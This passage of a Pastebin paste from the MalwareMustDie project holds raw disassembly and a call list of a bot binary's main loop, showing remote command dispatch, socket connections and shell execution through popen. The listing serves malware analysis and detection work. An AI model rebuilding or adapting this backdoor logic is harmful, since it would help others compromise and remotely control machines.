  1823. 0804a5ba: movl   $0x0,-0x138(%ebp)
  1824. 0804a5c4: mov    0x804c760,%eax
  1825. 0804a5c9: lea    0x1(%eax),%edx
  1826. 0804a5cc: lea    -0x13c(%ebp),%eax
  1827. 0804a5d2: mov    %eax,0x10(%esp)
  1828. 0804a5d6: movl   $0x0,0xc(%esp)
  1829. 0804a5de: movl   $0x0,0x8(%esp)
  1830. 0804a5e6: lea    -0x1bc(%ebp),%eax
  1831. 0804a5ec: mov    %eax,0x4(%esp)
  1832. 0804a5f0: mov    %edx,(%esp)
  1833. 0804a5f3: call   0x08048bb4 <select@plt>
  1834. 0804a5f8: test   %eax,%eax
  1835. 0804a5fa: jle    0x0804a524 <main+0x124>
  1836. 0804a600: movl   $0x0,-0x24(%ebp)
  1837. 0804a607: jmp    0x0804a705 <main+0x305>
  1838. 0804a60c: mov    -0x24(%ebp),%eax
  1839. 0804a60f: shl    $0x2,%eax
  1840. 0804a612: mov    %eax,%edx
  1841. 0804a614: mov    0x804c768,%eax
  1842. 0804a619: lea    (%edx,%eax,1),%eax
  1843. 0804a61c: mov    (%eax),%eax
  1844. 0804a61e: movl   $0x1,0x8(%esp)
  1845. 0804a626: movl   $0x0,0x4(%esp)
  1846. 0804a62e: mov    %eax,(%esp)
  1847. 0804a631: call   0x08048b64 <waitpid@plt>
  1848. 0804a636: test   %eax,%eax
  1849. 0804a638: jle    0x0804a701 <main+0x301>
  1850. 0804a63e: mov    -0x24(%ebp),%eax
  1851. 0804a641: add    $0x1,%eax
  1852. 0804a644: mov    %eax,-0x14(%ebp)
  1853. 0804a647: jmp    0x0804a672 <main+0x272>
  1854. 0804a649: mov    0x804c768,%eax
  1855. 0804a64e: lea    -0x4(%eax),%edx
  1856. 0804a651: mov    -0x14(%ebp),%eax
  1857. 0804a654: shl    $0x2,%eax
  1858. 0804a657: lea    (%edx,%eax,1),%ecx
  1859. 0804a65a: mov    -0x14(%ebp),%eax
  1860. 0804a65d: shl    $0x2,%eax
  1861. 0804a660: mov    %eax,%edx
  1862. 0804a662: mov    0x804c768,%eax
  1863. 0804a667: lea    (%edx,%eax,1),%eax
  1864. 0804a66a: mov    (%eax),%eax
  1865. 0804a66c: mov    %eax,(%ecx)
  1866. 0804a66e: addl   $0x1,-0x14(%ebp)
  1867. 0804a672: mov    0x804c32c,%eax
  1868. 0804a677: cmp    %eax,-0x14(%ebp)
  1869. 0804a67a: jb     0x0804a649 <main+0x249>
  1870. 0804a67c: mov    0x804c768,%eax
  1871. 0804a681: lea    -0x4(%eax),%edx
  1872. 0804a684: mov    -0x14(%ebp),%eax
  1873. 0804a687: shl    $0x2,%eax
  1874. 0804a68a: lea    (%edx,%eax,1),%eax
  1875. 0804a68d: movl   $0x0,(%eax)
  1876. 0804a693: mov    0x804c32c,%eax
  1877. 0804a698: sub    $0x1,%eax
  1878. 0804a69b: mov    %eax,0x804c32c
  1879. 0804a6a0: mov    0x804c32c,%eax
  1880. 0804a6a5: add    $0x1,%eax
  1881. 0804a6a8: shl    $0x2,%eax
  1882. 0804a6ab: mov    %eax,(%esp)
  1883. 0804a6ae: call   0x08048a24 <malloc@plt>
  1884. 0804a6b3: mov    %eax,-0x18(%ebp)
  1885. 0804a6b6: movl   $0x0,-0x14(%ebp)
  1886. 0804a6bd: jmp    0x0804a6e2 <main+0x2e2>
  1887. 0804a6bf: mov    -0x14(%ebp),%eax
  1888. 0804a6c2: shl    $0x2,%eax
  1889. 0804a6c5: mov    %eax,%ecx
  1890. 0804a6c7: add    -0x18(%ebp),%ecx
  1891. 0804a6ca: mov    -0x14(%ebp),%eax
  1892. 0804a6cd: shl    $0x2,%eax
  1893. 0804a6d0: mov    %eax,%edx
  1894. 0804a6d2: mov    0x804c768,%eax
  1895. 0804a6d7: lea    (%edx,%eax,1),%eax
  1896. 0804a6da: mov    (%eax),%eax
  1897. 0804a6dc: mov    %eax,(%ecx)
  1898. 0804a6de: addl   $0x1,-0x14(%ebp)
  1899. 0804a6e2: mov    0x804c32c,%eax
  1900. 0804a6e7: cmp    %eax,-0x14(%ebp)
  1901. 0804a6ea: jb     0x0804a6bf <main+0x2bf>
  1902. 0804a6ec: mov    0x804c768,%eax
  1903. 0804a6f1: mov    %eax,(%esp)
  1904. 0804a6f4: call   0x08048d04 <free@plt>
  1905. 0804a6f9: mov    -0x18(%ebp),%eax
  1906. 0804a6fc: mov    %eax,0x804c768
  1907. 0804a701: addl   $0x1,-0x24(%ebp)
  1908. 0804a705: mov    0x804c32c,%eax
  1909. 0804a70a: cmp    %eax,-0x24(%ebp)
  1910. 0804a70d: jb     0x0804a60c <main+0x20c>
  1911. 0804a713: mov    0x804c760,%eax
  1912. 0804a718: shr    $0x5,%eax
  1913. 0804a71b: mov    -0x1bc(%ebp,%eax,4),%edx
  1914. 0804a722: mov    0x804c760,%eax
  1915. 0804a727: mov    %eax,%ecx
  1916. 0804a729: and    $0x1f,%ecx
  1917. 0804a72c: mov    %edx,%eax
  1918. 0804a72e: shr    %cl,%eax
  1919. 0804a730: and    $0x1,%eax
  1920. 0804a733: test   %al,%al
  1921. 0804a735: je     0x0804a55c <main+0x15c>
  1922. 0804a73b: mov    0x804c760,%eax
  1923. 0804a740: movl   $0x0,0xc(%esp)
  1924. 0804a748: movl   $0x1000,0x8(%esp)
  1925. 0804a750: lea    -0x19bc(%ebp),%edx
  1926. 0804a756: mov    %edx,0x4(%esp)
  1927. 0804a75a: mov    %eax,(%esp)
  1928. 0804a75d: call   0x08048bd4 <recv@plt>
  1929. 0804a762: mov    %eax,-0xc(%ebp)
  1930. 0804a765: cmpl   $0x0,-0xc(%ebp)
  1931. 0804a769: jle    0x0804a524 <main+0x124>
  1932. 0804a76f: mov    -0xc(%ebp),%eax
  1933. 0804a772: movb   $0x0,-0x19bc(%ebp,%eax,1)
  1934. 0804a77a: movl   $0x804b03d,0x4(%esp)
  1935. 0804a782: lea    -0x19bc(%ebp),%eax
  1936. 0804a788: mov    %eax,(%esp)
  1937. 0804a78b: call   0x08048ad4 <strtok@plt>
  1938. 0804a790: mov    %eax,-0x10(%ebp)
  1939. 0804a793: jmp    0x0804a92a <main+0x52a>
  1940. 0804a798: mov    -0x10(%ebp),%eax
  1941. 0804a79b: mov    %eax,(%esp)
  1942. 0804a79e: call   0x080490c0 <filter>
  1943. 0804a7a3: mov    -0x10(%ebp),%eax
  1944. 0804a7a6: movzbl (%eax),%eax
  1945. 0804a7a9: cmp    $0x3a,%al
  1946. 0804a7ab: jne    0x0804a814 <main+0x414>
  1947. 0804a7ad: movl   $0x0,-0xc(%ebp)
  1948. 0804a7b4: jmp    0x0804a7ba <main+0x3ba>
  1949. 0804a7b6: addl   $0x1,-0xc(%ebp)
  1950. 0804a7ba: mov    -0xc(%ebp),%ebx
  1951. 0804a7bd: mov    -0x10(%ebp),%eax
  1952. 0804a7c0: mov    %eax,(%esp)
  1953. 0804a7c3: call   0x08048b84 <strlen@plt>
  1954. 0804a7c8: cmp    %eax,%ebx
  1955. 0804a7ca: jae    0x0804a7d9 <main+0x3d9>
  1956. 0804a7cc: mov    -0xc(%ebp),%eax
  1957. 0804a7cf: add    -0x10(%ebp),%eax
  1958. 0804a7d2: movzbl (%eax),%eax
  1959. 0804a7d5: cmp    $0x20,%al
  1960. 0804a7d7: jne    0x0804a7b6 <main+0x3b6>
  1961. 0804a7d9: mov    -0xc(%ebp),%eax
  1962. 0804a7dc: add    -0x10(%ebp),%eax
  1963. 0804a7df: movb   $0x0,(%eax)
  1964. 0804a7e2: mov    -0x10(%ebp),%eax
  1965. 0804a7e5: add    $0x1,%eax
  1966. 0804a7e8: mov    %eax,0x4(%esp)
  1967. 0804a7ec: lea    -0x9bc(%ebp),%eax
  1968. 0804a7f2: mov    %eax,(%esp)
  1969. 0804a7f5: call   0x08048ca4 <strcpy@plt>
  1970. 0804a7fa: mov    -0xc(%ebp),%eax
  1971. 0804a7fd: add    -0x10(%ebp),%eax
  1972. 0804a800: add    $0x1,%eax
  1973. 0804a803: mov    %eax,0x4(%esp)
  1974. 0804a807: mov    -0x10(%ebp),%eax
  1975. 0804a80a: mov    %eax,(%esp)
  1976. 0804a80d: call   0x08048ca4 <strcpy@plt>
  1977. 0804a812: jmp    0x0804a832 <main+0x432>
  1978. 0804a814: movl   $0x2,0x8(%esp)
  1979. 0804a81c: movl   $0x804b03f,0x4(%esp)
  1980. 0804a824: lea    -0x9bc(%ebp),%eax
  1981. 0804a82a: mov    %eax,(%esp)
  1982. 0804a82d: call   0x08048c64 <memcpy@plt>
  1983. 0804a832: movl   $0x0,-0xc(%ebp)
  1984. 0804a839: jmp    0x0804a83f <main+0x43f>
  1985. 0804a83b: addl   $0x1,-0xc(%ebp)
  1986. 0804a83f: mov    -0xc(%ebp),%ebx
  1987. 0804a842: mov    -0x10(%ebp),%eax
  1988. 0804a845: mov    %eax,(%esp)
  1989. 0804a848: call   0x08048b84 <strlen@plt>
  1990. 0804a84d: cmp    %eax,%ebx
  1991. 0804a84f: jae    0x0804a85e <main+0x45e>
  1992. 0804a851: mov    -0xc(%ebp),%eax
  1993. 0804a854: add    -0x10(%ebp),%eax
  1994. 0804a857: movzbl (%eax),%eax
  1995. 0804a85a: cmp    $0x20,%al
  1996. 0804a85c: jne    0x0804a83b <main+0x43b>
  1997. 0804a85e: mov    -0xc(%ebp),%eax
  1998. 0804a861: add    -0x10(%ebp),%eax
  1999. 0804a864: movb   $0x0,(%eax)
  2000. 0804a867: mov    -0x10(%ebp),%eax
  2001. 0804a86a: mov    %eax,0x4(%esp)
  2002. 0804a86e: lea    -0x5bc(%ebp),%eax
  2003. 0804a874: mov    %eax,(%esp)
  2004. 0804a877: call   0x08048ca4 <strcpy@plt>
  2005. 0804a87c: mov    -0xc(%ebp),%eax
  2006. 0804a87f: add    -0x10(%ebp),%eax
  2007. 0804a882: add    $0x1,%eax
  2008. 0804a885: mov    %eax,0x4(%esp)
  2009. 0804a889: mov    -0x10(%ebp),%eax
  2010. 0804a88c: mov    %eax,(%esp)
  2011. 0804a88f: call   0x08048ca4 <strcpy@plt>
  2012. 0804a894: movl   $0x0,-0xc(%ebp)
  2013. 0804a89b: jmp    0x0804a8e7 <main+0x4e7>
  2014. 0804a89d: mov    -0xc(%ebp),%eax
  2015. 0804a8a0: mov    0x804c2c0(,%eax,8),%edx
  2016. 0804a8a7: lea    -0x5bc(%ebp),%eax
  2017. 0804a8ad: mov    %eax,0x4(%esp)
  2018. 0804a8b1: mov    %edx,(%esp)
  2019. 0804a8b4: call   0x08048bf4 <strcasecmp@plt>
  2020. 0804a8b9: test   %eax,%eax
  2021. 0804a8bb: jne    0x0804a8e3 <main+0x4e3>
  2022. 0804a8bd: mov    -0xc(%ebp),%eax
  2023. 0804a8c0: mov    0x804c2c4(,%eax,8),%ecx
  2024. 0804a8c7: mov    0x804c760,%edx
  2025. 0804a8cd: mov    -0x10(%ebp),%eax
  2026. 0804a8d0: mov    %eax,0x8(%esp)
  2027. 0804a8d4: lea    -0x9bc(%ebp),%eax
  2028. 0804a8da: mov    %eax,0x4(%esp)
  2029. 0804a8de: mov    %edx,(%esp)
  2030. 0804a8e1: call   *%ecx
  2031. 0804a8e3: addl   $0x1,-0xc(%ebp)
  2032. 0804a8e7: mov    -0xc(%ebp),%eax
  2033. 0804a8ea: mov    0x804c2c0(,%eax,8),%eax
  2034. 0804a8f1: test   %eax,%eax
  2035. 0804a8f3: jne    0x0804a89d <main+0x49d>
  2036. 0804a8f5: movl   $0x804b041,0x4(%esp)
  2037. 0804a8fd: lea    -0x5bc(%ebp),%eax
  2038. 0804a903: mov    %eax,(%esp)
  2039. 0804a906: call   0x08048bf4 <strcasecmp@plt>
  2040. 0804a90b: test   %eax,%eax
  2041. 0804a90d: je     0x0804a524 <main+0x124>
  2042. 0804a913: movl   $0x804b03d,0x4(%esp)
  2043. 0804a91b: movl   $0x0,(%esp)
  2044. 0804a922: call   0x08048ad4 <strtok@plt>
  2045. 0804a927: mov    %eax,-0x10(%ebp)
  2046. 0804a92a: cmpl   $0x0,-0x10(%ebp)
  2047. 0804a92e: je     0x0804a55c <main+0x15c>
  2048. 0804a934: mov    -0x10(%ebp),%eax
  2049. 0804a937: movzbl (%eax),%eax
  2050. 0804a93a: test   %al,%al
  2051. 0804a93c: jne    0x0804a798 <main+0x398>
  2052. 0804a942: jmp    0x0804a55c <main+0x15c>
  2053. 0804a947: nop    
  2054. 0804a948: nop    
  2055. 0804a949: nop    
  2056. 0804a94a: nop    
  2057. 0804a94b: nop    
  2058. 0804a94c: nop    
  2059. 0804a94d: nop    
  2060. 0804a94e: nop    
  2061. 0804a94f: nop    
  2062.  
  2063. # 0804a950 <__do_global_ctors_aux>:
  2064. 0804a950: push   %ebp
  2065. 0804a951: mov    %esp,%ebp
  2066. 0804a953: push   %ebx
  2067. 0804a954: sub    $0x4,%esp
  2068. 0804a957: mov    0x804c094,%eax
  2069. 0804a95c: cmp    $0xffffffff,%eax
  2070. 0804a95f: je     0x0804a973 <__do_global_ctors_aux+0x23>
  2071. 0804a961: xor    %ebx,%ebx
  2072. 0804a963: call   *%eax
  2073. 0804a965: mov    0x804c090(%ebx),%eax
  2074. 0804a96b: sub    $0x4,%ebx
  2075. 0804a96e: cmp    $0xffffffff,%eax
  2076. 0804a971: jne    0x0804a963 <__do_global_ctors_aux+0x13>
  2077. 0804a973: add    $0x4,%esp
  2078. 0804a976: pop    %ebx
  2079. 0804a977: pop    %ebp
  2080. 0804a978: ret    
  2081. 0804a979: nop    
  2082. 0804a97a: nop    
  2083. 0804a97b: nop    
  2084.  
  2085.  
  2086. // List of calls:
  2087.  
  2088. 0x08048d33: call  0x08048d40 <_start1>
  2089. 0x08048da1: call  0x08048ac4 <atexit@plt>
  2090. 0x08048dad: call  0x08048ac4 <atexit@plt>
  2091. 0x08048db2: call  0x08048a00 <_init>
  2092. 0x08048dc2: call  0x0804a400 <main>
  2093. 0x08048dca: call  0x08048cb4 <exit@plt>
  2094. 0x08048dcf: call  0x08048b04 <_init_tls@plt>
  2095. 0x08048e8b: call  0x08048e40 <strwildmatch>
  2096. 0x08048eae: call  0x08048e40 <strwildmatch>
  2097. 0x08048eef: call  0x08048e40 <strwildmatch>
  2098. 0x08048f1c: call  0x08048f80 <__sbtoupper>
  2099. 0x08048f2f: call  0x08048f80 <__sbtoupper>
  2100. 0x08048f4b: call  0x08048e40 <strwildmatch>
  2101. 0x08048fe1: call  0x08048c74 <vsprintf@plt>
  2102. 0x08048fed: call  0x08048b84 <strlen@plt>
  2103. 0x08049004: call  0x08048cf4 <write@plt>
  2104. 0x08049016: call  0x08048a84 <fork@plt>
  2105. 0x0804904a: call  0x08048a24 <malloc@plt>
  2106. 0x080490a8: call  0x08048d04 <free@plt>
  2107. 0x080490d5: call  0x08048b84 <strlen@plt>
  2108. 0x080490ec: call  0x08048b84 <strlen@plt>
  2109. 0x08049107: call  0x08048b84 <strlen@plt>
  2110. 0x08049138: call  0x08048a24 <malloc@plt>
  2111. 0x08049158: call  0x08048c94 <memset@plt>
  2112. 0x0804916e: call  0x08048b14 <rand@plt>
  2113. 0x080491f3: call  0x080491c0 <pow>
  2114. 0x080492b0: call  0x08049010 <mfork>
  2115. 0x080492d8: call  0x08048fc0 <send_msg>
  2116. 0x080492e4: call  0x08048cb4 <exit@plt>
  2117. 0x08049300: call  0x08048ae4 <socket@plt>
  2118. 0x08049323: call  0x08048fc0 <send_msg>
  2119. 0x0804932f: call  0x08048cb4 <exit@plt>
  2120. 0x0804934f: call  0x08048ba4 <strncmp@plt>
  2121. 0x08049370: call  0x08048ca4 <strcpy@plt>
  2122. 0x0804938c: call  0x08048ca4 <strcpy@plt>
  2123. 0x080493aa: call  0x08048b84 <strlen@plt>
  2124. 0x080493e0: call  0x08048a94 <__inet_addr@plt>
  2125. 0x080493f7: call  0x08048c14 <gethostbyname@plt>
  2126. 0x0804941a: call  0x08048fc0 <send_msg>
  2127. 0x08049426: call  0x08048cb4 <exit@plt>
  2128. 0x0804944c: call  0x08048c64 <memcpy@plt>
  2129. 0x08049472: call  0x08048c94 <memset@plt>
  2130. 0x0804948c: call  0x08048af4 <connect@plt>
  2131. 0x080494aa: call  0x08048fc0 <send_msg>
  2132. 0x080494b6: call  0x08048cb4 <exit@plt>
  2133. 0x080494e7: call  0x08048fc0 <send_msg>
  2134. 0x08049503: call  0x08048fc0 <send_msg>
  2135. 0x0804951b: call  0x08048ce4 <fopen@plt>
  2136. 0x08049543: call  0x08048bd4 <recv@plt>
  2137. 0x08049592: call  0x08048ba4 <strncmp@plt>
  2138. 0x080495b9: call  0x08048a64 <fputc@plt>
  2139. 0x08049601: call  0x08048fc0 <send_msg>
  2140. 0x08049626: call  0x08048bd4 <recv@plt>
  2141. 0x08049669: call  0x08048a64 <fputc@plt>
  2142. 0x08049682: call  0x08048b24 <fclose@plt>
  2143. 0x0804968d: call  0x08048b54 <close@plt>
  2144. 0x08049699: call  0x08048cb4 <exit@plt>
  2145. 0x080496d1: call  0x08048fc0 <send_msg>
  2146. 0x080496e3: call  0x08048b84 <strlen@plt>
  2147. 0x08049702: call  0x08048fc0 <send_msg>
  2148. 0x08049723: call  0x08048fc0 <send_msg>
  2149. 0x0804973c: call  0x08048a94 <__inet_addr@plt>
  2150. 0x08049756: call  0x08048c14 <gethostbyname@plt>
  2151. 0x08049782: call  0x08048fc0 <send_msg>
  2152. 0x0804978e: call  0x08048cb4 <exit@plt>
  2153. 0x080497b2: call  0x08048c44 <bcopy@plt>
  2154. 0x080497e1: call  0x08048fc0 <send_msg>
  2155. 0x080497ed: call  0x08048cb4 <exit@plt>
  2156. 0x080497fd: call  0x08048b34 <strdup@plt>
  2157. 0x08049817: call  0x08048b54 <close@plt>
  2158. 0x08049835: call  0x08048cc4 <kill@plt>
  2159. 0x0804984c: call  0x08049010 <mfork>
  2160. 0x0804986e: call  0x08048fc0 <send_msg>
  2161. 0x08049888: call  0x08048fc0 <send_msg>
  2162. 0x080498a2: call  0x08048fc0 <send_msg>
  2163. 0x080498bc: call  0x08048fc0 <send_msg>
  2164. 0x080498d6: call  0x08048fc0 <send_msg>
  2165. 0x080498f0: call  0x08048fc0 <send_msg>
  2166. 0x0804990a: call  0x08048fc0 <send_msg>
  2167. 0x08049916: call  0x08048cb4 <exit@plt>
  2168. 0x08049940: call  0x08048b84 <strlen@plt>
  2169. 0x08049987: call  0x08048b84 <strlen@plt>
  2170. 0x080499c3: call  0x08048bf4 <strcasecmp@plt>
  2171. 0x080499ea: call  0x08048c94 <memset@plt>
  2172. 0x08049a10: call  0x08048b84 <strlen@plt>
  2173. 0x08049a3e: call  0x08048e40 <strwildmatch>
  2174. 0x08049a70: call  0x08048ba4 <strncmp@plt>
  2175. 0x08049a91: call  0x08048fc0 <send_msg>
  2176. 0x08049aac: call  0x08048ba4 <strncmp@plt>
  2177. 0x08049abf: call  0x08049010 <mfork>
  2178. 0x08049ae5: call  0x08048c94 <memset@plt>
  2179. 0x08049b05: call  0x08048b44 <sprintf@plt>
  2180. 0x08049b1b: call  0x08048b74 <popen@plt>
  2181. 0x08049b3e: call  0x08048c94 <memset@plt>
  2182. 0x08049b5b: call  0x08048ab4 <fgets@plt>
  2183. 0x08049b82: call  0x08048fc0 <send_msg>
  2184. 0x08049b8e: call  0x08048c54 <sleep@plt>
  2185. 0x08049bb8: call  0x08048bc4 <feof@plt>
  2186. 0x08049bd9: call  0x08048a54 <pclose@plt>
  2187. 0x08049be5: call  0x08048cb4 <exit@plt>
  2188. 0x08049bf0: call  0x08048b84 <strlen@plt>
  2189. 0x08049c5c: call  0x08048b84 <strlen@plt>
  2190. 0x08049cbf: call  0x08048b84 <strlen@plt>
  2191. 0x08049ce1: call  0x08048a24 <malloc@plt>
  2192. 0x08049d02: call  0x08048c24 <strncpy@plt>
  2193. 0x08049d4f: call  0x08048bf4 <strcasecmp@plt>
  2194. 0x08049d95: call  0x08048d04 <free@plt>
  2195. 0x08049ded: call  0x08048fc0 <send_msg>
  2196. 0x08049e13: call  0x08048fc0 <send_msg>
  2197. 0x08049e2f: call  0x08048fc0 <send_msg>
  2198. 0x08049e5b: call  0x08048fc0 <send_msg>
  2199. 0x08049e9e: call  0x08048b84 <strlen@plt>
  2200. 0x08049ebe: call  0x08048b84 <strlen@plt>
  2201. 0x08049eeb: call  0x08048b84 <strlen@plt>
  2202. 0x08049f19: call  0x08048bf4 <strcasecmp@plt>
  2203. 0x08049f5a: call  0x08048b84 <strlen@plt>
  2204. 0x08049f7a: call  0x08048b84 <strlen@plt>
  2205. 0x08049fa7: call  0x08048b84 <strlen@plt>
  2206. 0x08049fcc: call  0x08048a94 <__inet_addr@plt>
  2207. 0x08049fe2: call  0x08048c14 <gethostbyname@plt>
  2208. 0x0804a005: call  0x08048fc0 <send_msg>
  2209. 0x0804a02a: call  0x08048c64 <memcpy@plt>
  2210. 0x0804a08e: call  0x08048d04 <free@plt>
  2211. 0x0804a093: call  0x08049120 <makestring>
  2212. 0x0804a0bd: call  0x08048b84 <strlen@plt>
  2213. 0x0804a0eb: call  0x08048bf4 <strcasecmp@plt>
  2214. 0x0804a113: call  0x08048d04 <free@plt>
  2215. 0x0804a11e: call  0x08048b34 <strdup@plt>
  2216. 0x0804a150: call  0x08048b14 <rand@plt>
  2217. 0x0804a194: call  0x08048ae4 <socket@plt>
  2218. 0x0804a1af: call  0x08048a94 <__inet_addr@plt>
  2219. 0x0804a1c0: call  0x08048a94 <__inet_addr@plt>
  2220. 0x0804a1d2: call  0x08048c14 <gethostbyname@plt>
  2221. 0x0804a1f2: call  0x08048b54 <close@plt>
  2222. 0x0804a21d: call  0x08048c44 <bcopy@plt>
  2223. 0x0804a22c: call  0x08048a94 <__inet_addr@plt>
  2224. 0x0804a255: call  0x08048c04 <ioctl@plt>
  2225. 0x0804a261: call  0x08048be4 <time@plt>
  2226. 0x0804a26e: call  0x08048c34 <__error@plt>
  2227. 0x0804a291: call  0x08048af4 <connect@plt>
  2228. 0x0804a29a: call  0x08048c34 <__error@plt>
  2229. 0x0804a2d2: call  0x08048b94 <setsockopt@plt>
  2230. 0x0804a2ff: call  0x08048b94 <setsockopt@plt>
  2231. 0x0804a32c: call  0x08048b94 <setsockopt@plt>
  2232. 0x0804a333: call  0x08048c34 <__error@plt>
  2233. 0x0804a33f: call  0x08048c34 <__error@plt>
  2234. 0x0804a352: call  0x08048c54 <sleep@plt>
  2235. 0x0804a35e: call  0x08048be4 <time@plt>
  2236. 0x0804a381: call  0x08048b54 <close@plt>
  2237. 0x0804a3ad: call  0x08048a44 <open@plt>
  2238. 0x0804a3c3: call  0x08048cd4 <flock@plt>
  2239. 0x0804a3d1: call  0x08048c34 <__error@plt>
  2240. 0x0804a3e4: call  0x08048aa4 <printf@plt>
  2241. 0x0804a3f0: call  0x08048cb4 <exit@plt>
  2242. 0x0804a41b: call  0x0804a390 <lockfile>
  2243. 0x0804a420: call  0x08048a84 <fork@plt>
  2244. 0x0804a430: call  0x08048cb4 <exit@plt>
  2245. 0x0804a443: call  0x08048b84 <strlen@plt>
  2246. 0x0804a464: call  0x08048c24 <strncpy@plt>
  2247. 0x0804a486: call  0x08048b84 <strlen@plt>
  2248. 0x0804a4ad: call  0x08048c94 <memset@plt>
  2249. 0x0804a4ca: call  0x08048be4 <time@plt>
  2250. 0x0804a4d1: call  0x08048c84 <getpid@plt>
  2251. 0x0804a4d8: call  0x08048a34 <getppid@plt>
  2252. 0x0804a4e3: call  0x08048a74 <srand@plt>
  2253. 0x0804a4e8: call  0x08049120 <makestring>
  2254. 0x0804a4f2: call  0x08049120 <makestring>
  2255. 0x0804a524: call  0x0804a130 <con>
  2256. 0x0804a557: call  0x08048fc0 <send_msg>
  2257. 0x0804a5f3: call  0x08048bb4 <select@plt>
  2258. 0x0804a631: call  0x08048b64 <waitpid@plt>
  2259. 0x0804a6ae: call  0x08048a24 <malloc@plt>
  2260. 0x0804a6f4: call  0x08048d04 <free@plt>
  2261. 0x0804a75d: call  0x08048bd4 <recv@plt>
  2262. 0x0804a78b: call  0x08048ad4 <strtok@plt>
  2263. 0x0804a79e: call  0x080490c0 <filter>
  2264. 0x0804a7c3: call  0x08048b84 <strlen@plt>
  2265. 0x0804a7f5: call  0x08048ca4 <strcpy@plt>
  2266. 0x0804a80d: call  0x08048ca4 <strcpy@plt>
  2267. 0x0804a82d: call  0x08048c64 <memcpy@plt>
  2268. 0x0804a848: call  0x08048b84 <strlen@plt>
  2269. 0x0804a877: call  0x08048ca4 <strcpy@plt>
  2270. 0x0804a88f: call  0x08048ca4 <strcpy@plt>
  2271. 0x0804a8b4: call  0x08048bf4 <strcasecmp@plt>
  2272. 0x0804a906: call  0x08048bf4 <strcasecmp@plt>
  2273. 0x0804a922: call  0x08048ad4 <strtok@plt>
  2274.  
  2275.  
  2276. ---
  2277. #MalwareMustDie!
  2278. @unixfreaxjp | Thu May 30 20:44:40 JST 2013
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top